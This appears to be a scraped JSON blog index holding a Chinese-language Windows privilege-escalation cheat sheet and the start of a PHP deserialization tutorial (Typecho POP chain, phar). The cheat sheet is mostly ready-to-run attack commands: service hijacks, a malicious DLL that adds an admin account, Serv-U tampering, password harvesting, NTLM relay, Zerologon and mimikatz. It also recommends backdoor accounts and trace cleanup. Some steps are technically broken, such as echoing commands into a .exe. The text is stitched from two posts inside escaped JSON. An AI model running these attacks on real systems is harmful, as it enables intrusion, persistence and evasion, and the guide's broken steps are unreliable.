\u0026#34;HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Spooler\u0026#34; /t REG_EXPAND_SZ /v ImagePath /d \u0026#34;C:\\evil\\shell.exe\u0026#34; /f 重启服务：\nnet stop Spooler net start Spooler 成功标志：shell.exe以系统权限运行\n3. 未引用的服务路径提权 条件：\n服务路径没有用引号引起来 服务路径中存在空格 服务以最高权限启动 当前用户对路径有写权限 检查方法：\nsc query winpeas.exe quiet notcolor serviceinfo icacls \u0026#34;C:\\\u0026#34; 利用步骤：\n创建服务（需要管理员权限）：\nsc create \u0026#34;service\u0026#34; binpath= \u0026#34;C:\\Program Files\\Common Files\\test.exe\u0026#34; start= auto 检查服务权限：\nsc qc service 给用户写权限：\nicacls \u0026#34;C:\\Program Files\\Common Files\u0026#34; /grant Users:(OI)(CI)F /T 在C盘创建恶意文件：\necho net user hacker P@ssw0rd /add \u0026gt; C:\\Program.exe echo net localgroup administrators hacker /add \u0026gt;\u0026gt; C:\\Program.exe 重启服务（等待自动启动）：\nnet stop service net start service 成功标志：hacker账户被添加为管理员\n4. DLL劫持提权 条件：\n目标程序会加载DLL 当前用户对程序目录有写权限 检查方法：\nprocmon.exe /accepteula /quiet /minimized /background /d \u0026#34;C:\\procmon.log\u0026#34; /n \u0026#34;Service.exe\u0026#34; 利用步骤：\n找到目标程序（如notepad.exe）：\nwhere notepad 创建恶意DLL（使用Visual Studio）：\n#include \u0026lt;windows.h\u0026gt; BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { WinExec(\u0026#34;net user hacker P@ssw0rd /add\u0026#34;, SW_HIDE); WinExec(\u0026#34;net localgroup administrators hacker /add\u0026#34;, SW_HIDE); return TRUE; } 将DLL放到目标程序目录：\ncopy evil.dll \u0026#34;C:\\Program Files\\Notepad\\\u0026#34; 重启目标程序：\ntaskkill /f /im notepad.exe notepad.exe 成功标志：hacker账户被添加为管理员\n5. Serv-U FTP服务提权 条件：\nServ-U FTP服务已安装 Serv-U安装目录可写 利用步骤：\n下载ServUDaemon.ini：\nwget http://目标IP/ServUDaemon.ini 修改配置文件（添加管理员用户）：\n[Users] User=hacker Password=P@ssw0rd Group=Administrators Directory=C:\\ 上传修改后的文件：\nupload ServUDaemon.ini 用新账户登录FTP：\nftp 192.168.1.100 User: hacker Password: P@ssw0rd 验证提权：\nquote site exec net user admin P@ssw0rd /add 成功标志：成功添加新管理员账户\n6. 密码收集提权 条件：\n浏览器保存了密码 有VNC密码 利用步骤：\n浏览器密码：\nWebBrowserPassView.exe /shtml \u0026#34;C:\\passwords.html\u0026#34; VNC密码：\nreg query HKEY_CURRENT_USER\\Software\\TightVNC\\Server vncpwd.exe \u0026#34;加密密码\u0026#34; 使用获取的密码提权：\nrunas /user:domain\\administrator \u0026#34;cmd.exe\u0026#34; 成功标志：使用获取的密码获取管理员权限\n二、域环境提权方式 1. NTLM中继提权 条件：\n能获取Net-NTLM Hash 域用户是域管理员组成员 利用步骤：\n获取Net-NTLM Hash：\nresponder -I eth0 -wrf 使用NTLM中继：\nntlmrelayx.py -t 192.168.1.100 -smb2support 成功标志：获得域控制器的访问权限\n2. GPP组策略首选项提权 条件：\n域环境 组策略首选项配置错误 利用步骤：\n找到加密密码：\ndir \\\\域控制器\\SYSVOL\\domain.com\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\Machine\\Preferences\\Groups 解密密码：\ngpp-decrypt.py \u0026#34;加密密码\u0026#34; 使用解密密码登录：\npsexec.py domain.com/domain_admin:解密密码@域控制器 成功标志：获得域管理员权限\n3. CVE-2020-1472提权（Zerologon） 条件：\n域控制器运行Windows Server 2008 R2/2012/2012 R2/2016/2019 未安装2020年8月的补丁 利用步骤：\n使用工具攻击：\npython CVE-2020-1472.py 域控制器IP 域名 域用户 密码 获取域管理员权限：\npsexec.py domain.com/domain_admin:密码@域控制器 成功标志：获得域管理员权限\n4. MS14-068提权 条件：\n系统已知SID 域用户有密码 利用步骤：\n获取域用户SID：\nwhoami /user 生成Kerberos票据：\nMS14-068.exe -u \u0026#34;domain_user@domain.com\u0026#34; -p \u0026#34;password\u0026#34; -s \u0026#34;S-1-5-21-...\u0026#34; -d \u0026#34;域控制器IP\u0026#34; 使用票据：\nmimikatz # kerberos::ptc \u0026#34;TGT_domain_user@domain.ccache\u0026#34; psexec.py domain.com/domain_user@域控制器 成功标志：获得域控制器访问权限\n三、提权前必备检查 在尝试提权前，先运行以下命令检查：\nwhoami /priv :: 查看当前权限 systeminfo :: 查看系统信息 net user :: 查看所有用户 net localgroup administrators :: 查看管理员组成员 sc query :: 查看所有服务 icacls C:\\ :: 检查C盘权限 winpeas.exe quiet notcolor serviceinfo :: 自动检查提权点 四、提权成功后 创建持久化账户：\nnet user hacker P@ssw0rd /add net localgroup administrators hacker /add 清理痕迹：\ndel evil.bat del add.msi 保持权限：\nmimikatz # privilege::debug mimikatz # token::elevate 五、提权小技巧 先检查：whoami /priv、sc query、icacls C:\\ 再利用：根据检查结果，选择最简单的提权方式 最后验证：net localgroup administrators，看是否成功 附录：提权方式快速对照表 提权方式 适用环境 操作难度 成功率 AlwaysInstallElevated 工作组/域 ★☆☆☆☆ ★★★★★ 服务权限配置错误 工作组/域 ★★☆☆☆ ★★★★☆ 未引用的服务路径 工作组 ★★☆☆☆ ★★★★☆ DLL劫持 工作组 ★★★☆☆ ★★★☆☆ Serv-U提权 工作组 ★★★☆☆ ★★★☆☆ GPP组策略提权 域环境 ★★★★☆ ★★★★☆ CVE-2020-1472 域环境 ★★★★☆ ★★★★☆ NTLM中继 域环境 ★★★★☆ ★★★★☆ 根据命令结果选择提权方式的实战指南 一、命令结果分析与提权方式选择 1. whoami /priv 结果分析 权限名称 说明 对应提权方式 SeImpersonatePrivilege 可以模拟其他用户身份 土豆家族提权 (JuicyPotato/RoguePotato) SeAssignPrimaryTokenPrivilege 可以分配主令牌 土豆家族提权 SeServiceLogonRight 可以作为服务登录 服务提权 SeBackupPrivilege 可以备份文件 备份提权 SeTakeOwnershipPrivilege 可以获取文件所有权 文件所有权提权 ✅ 小提示：如果看到SeImpersonatePrivilege，这是最简单的提权方式之一。\n2. sc query 结果分析 重点检查：服务名称、状态、路径\n服务状态 路径特征 提权方式 RUNNING 路径包含空格且无引号 未引用服务路径提权 RUNNING 路径权限可写 服务权限配置错误提权 RUNNING 以SYSTEM身份运行 服务提权 STOPPED 有修改权限 服务提权 ✅ 小提示：运行sc qc 服务名查看具体路径，如sc qc Spooler\n3. icacls C:\\ 结果分析 权限配置 说明 提权方式 Everyone:(F) Everyone有完全控制权限 系统路径配置问题提权 BUILTIN\\Users:(OI)(CI)(RX) 用户有读取权限 DLL劫持 NT AUTHORITY\\Authenticated Users:(AD) 认证用户有添加权限 计划任务提权 ✅ 小提示：如果看到Everyone:(F)，说明C盘权限非常宽松，可以写入。\n二、提权方式选择流程图 三、实战案例分析 案例1：whoami /priv 显示有SeImpersonatePrivilege 提权方式：土豆家族提权（JuicyPotato）\n步骤：\n下载JuicyPotato工具\n运行：\nJuicyPotato.exe -p \u0026#34;C:\\Windows\\System32\\cmd.exe\u0026#34; -a \u0026#34;/c whoami\u0026#34; 成功标志：输出nt authority\\system\n案例2：sc query 显示有服务路径包含空格 服务信息：\nSERVICE_NAME: Spooler DISPLAY_NAME: Print Spooler BINARY_PATH_NAME: C:\\Program Files\\Print Spooler\\spooler.exe 提权方式：未引用服务路径提权\n步骤：\n创建恶意文件：\necho net user hacker P@ssw0rd /add \u0026gt; C:\\Program Files\\Print Spooler\\spooler.exe 修改服务路径：\nsc config Spooler binpath= \u0026#34;C:\\Program Files\\Print Spooler\\spooler.exe\u0026#34; 重启服务：\nnet stop Spooler net start Spooler 成功标志：hacker账户被添加为管理员\n案例3：icacls C:\\ 显示 Everyone:(F) 提权方式：系统路径配置问题提权\n步骤：\n创建恶意批处理文件：\necho net user hacker P@ssw0rd /add \u0026gt; C:\\evil.bat echo net localgroup administrators hacker /add \u0026gt;\u0026gt; C:\\evil.bat 运行：\nC:\\evil.bat 成功标志：hacker账户被添加为管理员\n案例4：sc query 显示有服务权限配置错误 服务信息：\nSERVICE_NAME: MyService DISPLAY_NAME: My Custom Service BINARY_PATH_NAME: C:\\MyService\\service.exe 提权方式：服务权限配置错误提权\n步骤：\n检查服务权限：\nicacls \u0026#34;C:\\MyService\u0026#34; 如果显示Everyone:(F)，则：\necho net user hacker P@ssw0rd /add \u0026gt; C:\\MyService\\service.exe 重启服务：\nnet stop MyService net start MyService 成功标志：hacker账户被添加为管理员\n四、提权方式优先级排序 提权方式 操作难度 成功率 适用场景 土豆家族提权 ★☆☆☆☆ ★★★★★ 有SeImpersonatePrivilege权限 系统路径配置问题 ★★☆☆☆ ★★★★☆ Everyone有C盘完全控制权限 服务权限配置错误 ★★☆☆☆ ★★★★☆ 服务路径权限可写 未引用服务路径 ★★★☆☆ ★★★☆☆ 服务路径有空格且无引号 DLL劫持 ★★★☆☆ ★★★☆☆ 目标程序路径可写 五、提权前必做检查清单 检查权限：whoami /priv\n有SeImpersonatePrivilege → 优先尝试土豆家族提权 检查服务：sc query\n找到运行中的服务 → 检查sc qc 服务名 检查目录权限：icacls C:\\\nEveryone有(F) → 优先尝试系统路径提权 检查DLL路径：where notepad\n找到程序路径 → 检查权限 六、实战技巧 快速检查：winpeas.exe quiet notcolor serviceinfo\n自动检查所有提权点 验证提权：whoami 和 net localgroup administrators\n确认是否获得管理员权限 保持权限：net user hacker P@ssw0rd /add + net localgroup administrators hacker /add\n创建持久化管理员账户 总结：提权三步 检查：whoami /priv、sc query、icacls C:\\ 判断：根据结果选择最简单的提权方式 执行：按照对应方式执行提权命令 提示**：提权成功后，**务必创建持久化账户（net user hacker P@ssw0rd /add + net localgroup administrators hacker /add），避免因会话结束而失去权限。\n","permalink":"https://h4xk0r.github.io/posts/windows%E6%8F%90%E6%9D%83/","summary":"\u003ch1 id=\"windows工作组环境和域环境提权方式详解\"\u003eWindows工作组环境和域环境提权方式详解\u003c/h1\u003e\n\u003ch2 id=\"一工作组环境提权方式\"\u003e一、工作组环境提权方式\u003c/h2\u003e\n\u003ch3 id=\"1-alwaysinstallelevated提权\"\u003e1. AlwaysInstallElevated提权\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e条件\u003c/strong\u003e：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e系统已启用AlwaysInstallElevated（注册表值为1）\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e检查方法\u003c/strong\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-cmd\" data-lang=\"cmd\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ereg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ereg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e利用步骤\u003c/strong\u003e：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e生成恶意MSI文件（在Kali Linux中）：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-cmd\" data-lang=\"cmd\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsfvenom -p windows/adduser USER=hacker PASS=P@ssw0rd -f msi -o add.msi\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cem\u003e如果在Windows上操作，可以使用在线工具生成MSI文件\u003c/em\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在Windows上执行：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-cmd\" data-lang=\"cmd\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsiexec /i add.msi\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e验证提权：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-cmd\" data-lang=\"cmd\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enet user hacker\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003e成功标志\u003c/strong\u003e：看到hacker账户，且在管理员组中\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"2-服务权限配置错误提权\"\u003e2. 服务权限配置错误提权\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e条件\u003c/strong\u003e：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e服务路径权限配置错误\u003c/li\u003e\n\u003cli\u003e当前用户对服务可执行文件或目录有写权限\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e检查方法\u003c/strong\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-cmd\" data-lang=\"cmd\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esc query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewinpeas.exe quiet notcolor serviceinfo\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e利用步骤\u003c/strong\u003e：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e找到一个服务（如Spooler）：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-cmd\" data-lang=\"cmd\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esc qc Spooler\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e修改服务路径：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-cmd\" data-lang=\"cmd\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ereg add \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Spooler\u0026#34;\u003c/span\u003e /t REG_EXPAND_SZ /v ImagePath /d \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;C:\\evil\\shell.exe\u0026#34;\u003c/span\u003e /f\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重启服务：\u003c/p\u003e","title":"Windows提权"},{"content":"距离第一次学习php反序列已经很长时间了，初次学习时就学的迷迷糊糊，有很多理解不到位的地方，正好最近有时间打算回过头重新开始学习一遍，理解不到位之处请各位大佬多多指正。\n为什么需要序列化和反序列化？ 网络传输只能处理位流(Bytes) , 当你在java,php,python中定义一个复杂的用户对象，但是路由器并不认识，只能通过序列化成字符串的方式以字节流的方式传输，传输流程大致如下：\n服务器对象\u0026ndash;\u0026gt; 序列化\u0026ndash;\u0026gt; 字节流\u0026ndash;\u0026gt; 网络传输\u0026ndash;\u0026gt; 反序列化\u0026ndash;\u0026gt; 客户端\n内存(RAM)易失，程序运行在内存中，一旦断电，关闭数据就会消失\nphp中的序列化反序列化函数 序列化：serialize()\n反序列化：unserialize()\n漏洞利用 前提: 服务端(不论是当前代码还是所包含的代码中)必须要有对象(序列化形式)所对应的类, 否则无法反序列化\n例如: payload:O:1:\u0026quot;**S**\u0026quot;:1:{s:4:\u0026quot;test\u0026quot;;s:29:\u0026quot;\u0026lt;script\u0026gt;alert('xss')\u0026lt;/script\u0026gt;\u0026quot;;} 这时候如果服务端没有一个叫做S的类, 就会反序列化失败\n所以说, 想要发起反序列化攻击, 必要条件之一: 必须知道服务端有哪些类\n魔术方法 注:加黑重点关注\n魔术方法 描述 __construct() 构造方法，当对象被实例化（new）时自动调用。 __destruct() 析构方法，当对象被销毁时自动调用。反序列化攻击中最常见的入口。 __call() 在对象上下文中调用一个不可访问或不存在的方法时触发。常用的跳板。 __callStatic() 在静态上下文中调用一个不可访问或不存在的方法时触发。 __get() 读取对象中不可访问（未定义或私有）的属性时触发。常用的跳板。 __set() 写入对象中不可访问（未定义或私有）的属性时触发。 __isset() 使用 isset() 或 empty() 检查对象中不可访问的属性时触发。 __unset() 使用 unset() 删除对象中不可访问的属性时触发。 __sleep() 当对象被 serialize() 序列化前触发，通常用于返回需要被序列化的属性列表。 __wakeup() 当对象被 unserialize() 反序列化时触发，常用于初始化资源。反序列化的“点火开关”。 __toString() 当对象被转换成字符串（如 echo 或拼接）时自动调用。核心跳板。 __invoke() 当尝试以函数方式调用对象（如 $obj()）时触发。常用的跳板。 __clone() 当对象使用 clone 关键字被克隆时调用。 __serialize() PHP 7.4+ 引入。序列化前触发，优先级高于 __sleep。返回一个包含对象数据的数组。 __unserialize() PHP 7.4+ 引入。反序列化后触发，优先级高于 __wakeup。用于恢复对象状态。 __set_state() 当使用 var_export() 导出类时触发。必须是静态方法，返回类实例。 __debugInfo() 当使用 var_dump() 打印对象信息时触发，用于控制显示的属性。 1、 __construct() 和 __destruct()\n__construct() 是对象的构造方法，用于在对象实例化时进行初始化操作；\n__destruct() 是析构方法，在对象销毁时自动调用\n\u0026lt;?php class Person { public $name; // 构造方法，当对象被实例化时自动调用。 public function __construct($name) { echo \u0026#34;__construct 初始化\u0026#34;.\u0026#34;\u0026lt;br\u0026gt;\u0026#34;; $this-\u0026gt;name = $name; echo \u0026#34;Constructing Person: \u0026#34; . $this-\u0026gt;name . \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; } // 析构方法，当对象被销毁时自动调用。 public function __destruct() { echo \u0026#34;__destruct 类执行完毕\u0026#34;.\u0026#34;\u0026lt;br\u0026gt;\u0026#34;; echo \u0026#34;Destructing Person: \u0026#34; . $this-\u0026gt;name . \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; } } $person = new Person(\u0026#34;ZhangSan\u0026#34;); unset($person); // 显式销毁对象，执行__destruct() echo \u0026#34;执行完毕\u0026#34;.\u0026#34;\u0026lt;br\u0026gt;\u0026#34;; // 如果不销毁对象，在代码执行结束时，也会执行__destruct() 输出： __construct 初始化 Constructing Person: ZhangSan __destruct 类执行完毕 Destructing Person: ZhangSan执行完毕 2、__sleep()和__wakeup()\n__sleep() 方法：当对象被序列化时自动调用，用于指定需要序列化的属性，并释放不必要的资源。\n__wakeup() 方法：当对象被反序列化时自动调用，用于重新初始化属性或资源（如恢复数据库连接）。\n\u0026lt;?php class User { public $name; public $email; private $dbConnection; public function __construct($name, $email) { $this-\u0026gt;name = $name; $this-\u0026gt;email = $email; $this-\u0026gt;dbConnection = $this-\u0026gt;connectToDatabase(); // 模拟数据库连接 } // 模拟数据库连接 private function connectToDatabase() { return \u0026#34;Database connection established\u0026#34;; } // 当对象被序列化时自动调用 public function __sleep() { echo \u0026#34;Serializing object...\u0026lt;br\u0026gt;\u0026#34;; // 关闭数据库连接（释放资源） $this-\u0026gt;dbConnection = null; // 只序列化 name 和 email 属性 return [\u0026#39;name\u0026#39;, \u0026#39;email\u0026#39;]; } // 当对象被反序列化时自动调用 public function __wakeup() { echo \u0026#34;Unserializing object...\u0026lt;br\u0026gt;\u0026#34;; // 恢复数据库连接 $this-\u0026gt;dbConnection = $this-\u0026gt;connectToDatabase(); } // 打印对象状态 public function showInfo() { echo \u0026#34;Name: \u0026#34; . $this-\u0026gt;name . \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; echo \u0026#34;Email: \u0026#34; . $this-\u0026gt;email . \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; echo \u0026#34;DB Connection: \u0026#34; . $this-\u0026gt;dbConnection . \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; } } $user = new User(\u0026#34;LiSi\u0026#34;, \u0026#34;lisi@example.com\u0026#34;); // 序列化对象，__sleep() 会被自动调用 $serializedUser = serialize($user); echo \u0026#34;Serialized String: \u0026#34; . $serializedUser . \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; // 反序列化对象，__wakeup() 会被自动调用 $unserializedUser = unserialize($serializedUser); $unserializedUser-\u0026gt;showInfo(); ?\u0026gt; 解析：\n创建对象 User：\n使用 User 类创建一个包含 name、email 和 dbConnection 属性的对象。 dbConnection 属性模拟数据库连接。 序列化时调用 __sleep()：\n当使用 serialize($user) 时，__sleep() 方法被自动调用。 在 __sleep() 中，我们将 dbConnection 属性设置为 null（表示释放该资源）。 只返回 ['name', 'email']，表示只序列化 name 和 email 两个属性，dbConnection 被排除在外。 生成的序列化字符串：\nSerialized String: O:4:\u0026quot;User\u0026quot;:2:{s:4:\u0026quot;name\u0026quot;;s:5:\u0026quot;Alice\u0026quot;;s:5:\u0026quot;email\u0026quot;;s:17:\u0026quot;alice@example.com\u0026quot;;} 只包含 name 和 email 属性，没有 dbConnection 属性。 反序列化时调用 __wakeup()：\n当使用 unserialize($serializedUser) 时，__wakeup() 方法被自动调用。 在 __wakeup() 中，我们重新初始化 dbConnection，表示恢复数据库连接。 输出对象状态：\n使用 showInfo() 方法打印对象的状态。 可以看到 dbConnection 已恢复为 \u0026quot;Database connection established\u0026quot;，表示反序列化后连接被恢复。 3、__get() 和 __set() 允许拦截对不可访问属性的读取和写入操作。\n\u0026lt;?php class Student { private $data = []; // 写入对象中不可访问（未定义或私有）的属性时触发 // 该方法接收两个参数： // $name：被设置的属性名（name）。 // $value：被设置的属性值（\u0026#34;ZhangSan\u0026#34;）。 public function __set($name, $value) { echo \u0026#34;Setting \u0026#39;$name\u0026#39; to \u0026#39;$value\u0026#39;\\n\u0026#34;; $this-\u0026gt;data[$name] = $value; } // 读取对象中不可访问（未定义或私有）的属性时触发 public function __get($name) { echo \u0026#34;Getting \u0026#39;$name\u0026#39;\\n\u0026#34;; return isset($this-\u0026gt;data[$name]) ? $this-\u0026gt;data[$name] : null; } } $student = new Student(); $student-\u0026gt;name = \u0026#34;ZhangSan\u0026#34;; // 调用 __set() 为__set($name, $value)赋值 echo $student-\u0026gt;name . PHP_EOL; // 调用 __get() 4、__call()用于处理对象中不存在或不可访问的方法调用；__callStatic() 用于处理对象中不存在或不可访问的静态方法调用。\n\u0026lt;?php class Test { // 当调用对象中不存在或不可访问的非静态方法时触发 public function __call($name, $args) { echo \u0026#34;调用了非静态方法: $name\\n\u0026#34;; echo \u0026#34;参数: \u0026#34; . implode(\u0026#39;, \u0026#39;, $args) . \u0026#34;\\n\u0026#34;; } // 当调用对象中不存在或不可访问的静态方法时触发 public static function __callStatic($method, $args) { echo \u0026#34;调用了静态方法: $method\\n\u0026#34;; echo \u0026#34;参数: \u0026#34; . implode(\u0026#39;, \u0026#39;, $args) . \u0026#34;\\n\u0026#34;; } } // 实例化对象 $obj = new Test(); // 触发 __call() $obj-\u0026gt;undefinedMethod(\u0026#39;hello\u0026#39;, 123); // 触发 __callStatic() Test::undefinedStaticMethod(\u0026#39;world\u0026#39;, 456); 5、__isset() 和 __unset() 是 PHP 的两个魔术方法，分别用于拦截对对象中未定义或不可访问属性进行 isset() 检查和 unset() 删除操作时的行为\n\u0026lt;?php class User { private $data = []; public function __set($name, $value) { $this-\u0026gt;data[$name] = $value; } // 当尝试用 isset()/empty() 检查属性时触发 public function __isset($name) { echo \u0026#34;__isset($name) 被调用\\n\u0026#34;; return isset($this-\u0026gt;data[$name]); } // 当尝试用 unset() 删除属性时触发 public function __unset($name) { echo \u0026#34;__unset($name) 被调用\\n\u0026#34;; unset($this-\u0026gt;data[$name]); } } $user = new User(); // 动态设置属性（实际存入 $data 数组） $user-\u0026gt;name = \u0026#34;WangWu\u0026#34;; // 触发 __isset(\u0026#39;name\u0026#39;) var_dump(isset($user-\u0026gt;name)); // 输出 true // 触发 __unset(\u0026#39;name\u0026#39;) unset($user-\u0026gt;name); ?\u0026gt; 6、__toString() 允许对象在被转换为字符串时的自定义输出。常用于调试或日志记录。\n\u0026lt;?php class Book { private $bookTitle; public function __construct($name) { $this-\u0026gt;bookTitle = $name; } public function __toString() { return \u0026#34;Book title: \u0026#34; . $this-\u0026gt;bookTitle; } } $book = new Book(\u0026#34;PHP Magic Methods\u0026#34;); echo $book; // 调用 __toString() ?\u0026gt; 7、__invoke() 允许对象像函数一样被调用。\n\u0026lt;?php class CallableClass { public function __invoke($x) { return $x * $x; } } $obj = new CallableClass(); echo $obj(5); // 调用 __invoke() ?\u0026gt; 8、__clone() 方法在对象被克隆时调用，用于实现深拷贝或进行自定义操作。\n\u0026lt;?php class Prototype { public $name; public function __construct($name1) { $this-\u0026gt;name = $name1; } public function __clone() { echo \u0026#34;Cloning object: \u0026#34; . $this-\u0026gt;name . PHP_EOL; } } $original = new Prototype(\u0026#34;Test\u0026#34;); $cloned = clone $original; // 调用 __clone() ?\u0026gt; 学会看序列化后的数据 一个例子： \u0026lt;?php $data = array(\u0026#39;name\u0026#39; =\u0026gt; \u0026#39;John\u0026#39;, \u0026#39;age\u0026#39; =\u0026gt; 30, \u0026#39;skills\u0026#39; =\u0026gt; array(\u0026#39;PHP\u0026#39;, \u0026#39;Java\u0026#39;)); $serializedData = serialize($data); echo $serializedData; a:3:{s:4:\u0026#34;name\u0026#34;;s:4:\u0026#34;John\u0026#34;;s:3:\u0026#34;age\u0026#34;;i:30;s:6:\u0026#34;skills\u0026#34;;a:2:{i:0;s:3:\u0026#34;PHP\u0026#34;;i:1;s:4:\u0026#34;Java\u0026#34;;}} a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义的二进制字符串 S - escaped binary string 转义的二进制字符串 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码的字符串 实战案例(Typecho 反序列化漏洞) 漏洞的入口在install.php文件中，而在执行unserialize之前还做了两个判断\n第一个是判断有没有安装，另一个检查refer头必须是站内url\n从Cookie中获取__typecho_config字段的值，进行base64解码，之后反序列化 找到入口后我们再找怎么利用，想要利用就要有相应的魔术方法配合\n__destruct()\t对象销毁调用 __wakeup()\t反序列化调用 __toString()\t对象转换成字符串调用 继续往下看$config我们是可控的，如果我们再adapter传入一个类，就可以触发__toString方法\n搜索__toString(),找到三个\n一个一个看首先config.php,没有价值\n看Query.php\n都在拼接sql语句，跳不出去\n看Feed.php\n调用了$item['author']-\u0026gt;screenName，这是一个当前类的私有变量.\n想要跳到另一个执行危险函数的地方,需要找一个类，满足两个条件之一：\n它内部有一个叫screenName的属性，且执行了危险的操作（少见） 没有screenName属性，但是定义了__get()魔术方法，且最终会通向危险函数（常规思路） 那下一步思路就很明确了，全局搜索function __get，再request.php中找到\n继续跟进get方法\n这里去_params去读取值\n那么只要通过反序列化提前给_params赋值，比如 array('screenName' =\u0026gt; 'phpinfo();')。这样当 $key 为 screenName 时，$value 就变成了我们的恶意代码。\n再往下，检查值不能是数组，字符串长度大于零，然后直接丢进了_applyFilter方法，继续跟进\n这里的call_user_func是可控的，这里的$filter我们可以控制成任何的函数(system,exec等),$value就是塞进去执行的内容\n回顾一下pop链\n反序列化入口 (install.php) 触发点 (__toString) 跳板 (__get) 终点 (call_user_func + assert) 隐蔽的反序列化入口 常规反序列化必须依赖 unserialize() 函数，但以下两种技术可以绕过这个限制\nphar反序列化 核心原理： Phar (PHP Archive) 是 PHP 的一种归档文件格式（类似 Java 的 JAR）。PHP 在解析 Phar 文件中的元数据（Metadata）时，会自动进行反序列化。\n攻击条件：\n文件上传： 攻击者能上传文件（哪怕只能上传 .jpg，只要内容符合 Phar 格式即可）。 文件操作： 代码中存在文件系统函数（如 file_exists(), is_dir(), file_get_contents(), include() 等）。 协议控制： 参数可控，可以使用 phar:// 伪协议。 攻击流程：\n生成 Payload： 写一个 PHP 脚本，将恶意对象写入 Phar 文件的 Metadata 中。 伪装： 将生成的 .phar 文件改名为 .jpg（修改文件头绕过上传检测）。 触发： 利用 phar://path/to/evil.jpg/test 触发文件操作函数，PHP 会解析 